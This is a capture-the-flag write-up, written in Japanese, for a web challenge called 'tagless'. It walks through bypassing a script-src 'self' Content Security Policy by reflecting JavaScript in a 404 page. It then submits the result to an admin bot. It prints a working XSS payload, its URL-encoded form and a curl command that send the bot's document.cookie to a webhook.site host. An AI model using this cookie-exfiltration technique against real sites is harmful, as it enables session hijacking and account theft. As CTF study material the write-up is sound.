tagless
まず問題の意図を分析、以下のことがわかった。
- Content-Security-Policyのscript-srcはself
- つまり、スクリプトを直接HTML内に埋め込むことはできず、必ず同一ホストから、
<script src="/static/app.js"></script>
のように読み込ませる必要がある
- つまり、スクリプトを直接HTML内に埋め込むことはできず、必ず同一ホストから、
- エンドポイントは実は3つある
- index.htmlは簡単なメモ帳
-
/report
はホストのseleniumを使って、ローカルホストの特定のページを開かせることができる - 404ページは
f"{path} not found"
を返す
最終的な目標は /reportにアクセスし、seleniumのクッキーの内容を盗み取ることである。
index.html
auto_inputパラメータから任意のテキストを表示することができる。しかし、sanitizeInput関数が括弧の中のテキストを置換しているため、scriptの実行は難しいと判断した。あと、開発者モードでscriptを埋め込んで実行させようとしても、script-srcポリシーがselfとなっているinlineスクリプトも実行不可能。
結局外部からコードを読み込ませるにはもう一個のエンドポイントが必要であると考えた。
404ページ
404ページは http://0.0.0.0/asdfasdf のように存在しないページを開こうとするとき
、表示されるページであり、/asdfasdf not found
のようなページが返ってくる。
{path}を//のようにすれば、結果的には<script></script>// not found
が得られるはず。
また、それを404ページ内部で<script src='攻撃コードのURL'></script>
のように実行させればいいのではないかと思った。
設計
- ページのクッキーをbase64にエンコードし、それをどこかのページにpostするスクリプトを作る
- 1のスクリプトを404ページ内に表示するURLを作成する
- 2のページを
<script src="url"></script>
を使って404ページ内に表示させる - 3で作ったページをreportエンドポイントに送る
スクリプトの作成
requestbin系のサイトを適当に使って、urlパラメータとしてbase64にエンコーディングしたcookieを丸投げする。
具体的にはこんな感じのスクリプトが出来上がった。
window.location="url"+btoa(document.cookie)
404ページに埋め込む
http://host/asdf
にアクセスすると、/asdf not found
が出力されるから、冒頭のスラッシュ記号と、末尾のnot foundをコメントアウトさせる必要がある。
/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)// not found
のようにすればいい。
最終的なurlはこうなった。
http://127.0.0.1:5000/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)//
404ページにスクリプトを読み込ませる
<script src='前の段階で作ったスクリプト'></script>
を表示させたい。同様にを表示させれば良いが、urlをそのまま貼り付けると、括弧の区別が付かなくなるから、一回urlエンコードしてやる。
http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>
reportページに送る
curlを使ってPOSTのパラメータとしてurlの値を送る。
curl -X POST https://tagless-xqw5wmhrrkit.chals.sekai.team/report \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "url=http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>"
ハマったポイント
ペイロードを作成したときホストをlocalhostにしてしまい、クッキーのホストが異なり、クッキーがロードされない問題があった。
全体的に難易度が高くて難しかった。